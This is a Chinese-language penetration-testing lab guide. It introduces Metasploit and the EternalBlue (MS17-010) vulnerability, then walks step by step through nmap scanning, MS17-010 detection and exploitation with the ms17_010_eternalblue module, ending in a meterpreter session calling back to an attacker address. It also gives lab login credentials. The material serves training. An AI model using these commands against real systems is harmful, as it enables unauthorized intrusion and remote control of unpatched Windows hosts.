通过对DMZ区的主机进行信息收集,使用Nmap寻找可利用的漏洞和使用Metasploit对其漏洞检测并成功利用漏洞返回会话,了解并掌握Metasploit命令的使用方法。
Metasploit
(1)Metasploit
Metasploit是一个免费的、可下载的框架,通过它可以很容易地获取、开发并对计算机软件漏洞实施攻击。它本身附带数百个已知软件漏洞的专业级漏洞攻击工具。
(2)永恒之蓝漏洞
永恒之蓝是指2017年4月14日晚,黑客团体Shadow Brokers(影子经纪人)公布一大批网络攻击工具,其中包含“永恒之蓝”工具,“永恒之蓝”利用Windows系统的SMB漏洞可以获取系统最高权限。5月12日,不法分子通过改造“永恒之蓝”制作了wannacry勒索病毒,英国、俄罗斯、整个欧洲以及中国国内多个高校校内网、大型企业内网和政府机构专网中招,被勒索支付高额赎金才能解密恢复文件。
恶意代码会扫描开放445文件共享端口的Windows机器,无需用户任何操作,只要开机上网,不法分子就能在电脑和服务器中植入勒索软件、远程控制木马、虚拟货币挖矿机等恶意程序。
微软已于2017 年 发布MS17-010补丁,修复了“永恒之蓝”攻击的系统漏洞,一定要及时更新Windows系统补丁;务必不要轻易打开doc、rtf等后缀的附件;内网中存在使用相同账号、密码情况的机器请尽快修改密码,未开机的电脑请确认口令修改完毕、补丁安装完成后再进行联网操作,可以下载“永恒之蓝”漏洞修复工具进行漏洞修复。
服务器:Windows Server 2008 1台;防火墙 1台;Kali Linux 1台;Centos 7 2台;
交换机/路由:交换机 2台;路由器 1台;
软件:NMap;Metasploit。
能够通过信息收集确定目标服务器,并能够利用Metasploit工具对目标服务器进行漏洞检测和利用。
对目标网段和服务器端口、服务进行信息收集;
利用Metasploit工具检测目标服务器是否存在ms17-010漏洞;
对目标服务器进行MS17-010漏洞利用。
登录拓扑图左上方的【攻击机1-kali Linux】,用户名/密码:root/com.1234。右键单击虚拟机桌面空白处,选择【Open Terminal Here】选项,在【攻击机1-kali Linux】中打开终端窗口。
在攻击机1-kali Linux终端中输入msfconsole命令并按下回车键,进入Metasploit控制台界面。
在Metasploit控制台中输入以下命令并按下回车键,对目标网段进行扫描,发现当前网段中存在5台存活主机,此时就可以分别对这些主机的开放端口、操作系统类型、运行服务等信息进行收集,目标主机探测。
nmap -sN 202.1.10.0/24
注:nmap 中的-sN参数表示为只进行主机发现,不进行端口扫描。
继续使用Nmap工具对主机进行信息收集,在Metasploit控制台中输入以下命令并按下回车键,对目标IP进行精确扫描,可发现目标主机的操作系统类型为Windows Server 2008,并开放445端口,同时可能存在MS17-010漏洞。
nmap -O -A 202.1.10.34
注:真实攻击环境中,通常会扫描内网很多网段,时间也会花费比较长;这里为了节约时间,本实验以扫描202.1.10.34为例进行了精确扫描。
-O参数表示探测主机操作系统
-A 参数表示进行系统探测、版本检测、脚本扫描、路由追踪
继续使用Nmap工具对目标主机进行MS17-010漏洞检测,在Metasploit控制台中输入以下命令并按下回车键,检测出存在MS17-010漏洞。
nmap --script smb-vuln-ms17-010.nse 202.1.10.34
注:–script表示指定漏洞脚本
目标主机可能存在MS17-010漏洞或其它脆弱点,如弱口令、恶意文件上传等其他类型漏洞。通过Metasploit的扫描和探测模块,对目标进行扫描,确认是否具备漏洞可利用条件。使用search命令可以在Metasploit漏洞库中查找可被利用的MS17-010漏洞检测模块,输入以下命令。
search ms17-010
使用use参数选择指定模块,输入以下命令选择指定auxiliary模块下的MS17-010检查模块并按下回车,进入该模块如下图所示。
use auxiliary/scanner/smb/smb_ms17_010
使用【option】或【show option】命令显示需填写的参数选项,本实验以【option】命令为例子输入命令并按下回车,显示出需填写的参数,在【Required】列表示为必填项,而在本模块中必填项为【RHOSTS】。
注:命令或参数填写时,可不区分大小写。
RHOSTS参数表示为目标主机
使用set命令对 RHOSTS参数填写目标主机IP,输入以下命令指定目标主机IP。
set rhosts 202.1.10.34
填写完成后,再次【option】命令检查参数是否填写正确,可以看到在【Current Setting】选项列中,已正确填写目标主机IP【202.1.10.34】。
注:输入模块或参数时,使用Tab键进行命令补全。
使用run命令,执行该模块,可看到已检测出目标主机存在MS17-010漏洞。
使用search命令可以在Metasploit漏洞库中查找可被利用的MS17-010漏洞利用模块。
search ms17-010
使用use参数选择指定模块,输入以下命令选择指定exploit模块下的MS17-010漏洞利用模块并按下回车,进入该模块如下图所示。
use exploit/windows/smb/ms17_010_eternalblue
使用【option】或【show option】命令显示需填写的参数选项,本实验以【option】命令为例子输入命令并按下回车,显示出需填写的参数,在【Required】列表示为必填项,而在本模块中必填项为【RHOSTS】,在【Exploit target】选项中表示本模块的目标主机操作系统类型只支持Windows 7 ~ Windows Server R2 版本。
在【Payload options】选择中已自动填写完成本机监听IP和本机监听端口,可根据实际需求,使用set 命令对LHOST和LPORT参数进行更改,本实验以默认设置为例。
使用set命令对 RHOSTS参数填写目标主机IP,输入以下命令指定目标主机IP。
set rhosts 202.1.10.34
使用run命令,执行该模块,可看到已成功利用该漏洞并返回一个会话【67.220.91.30:4444 →202.1.10.34:49190】。
注:该模块执行后,需等待几分钟后,即可返回meterpreter后渗透模块。
通过上述实验操作,对DMZ区的主机进行信息收集,使用Nmap寻找可利用的漏洞和使用Metasploit对其漏洞检测并成功利用漏洞建立会话连接,满足实验预期要求。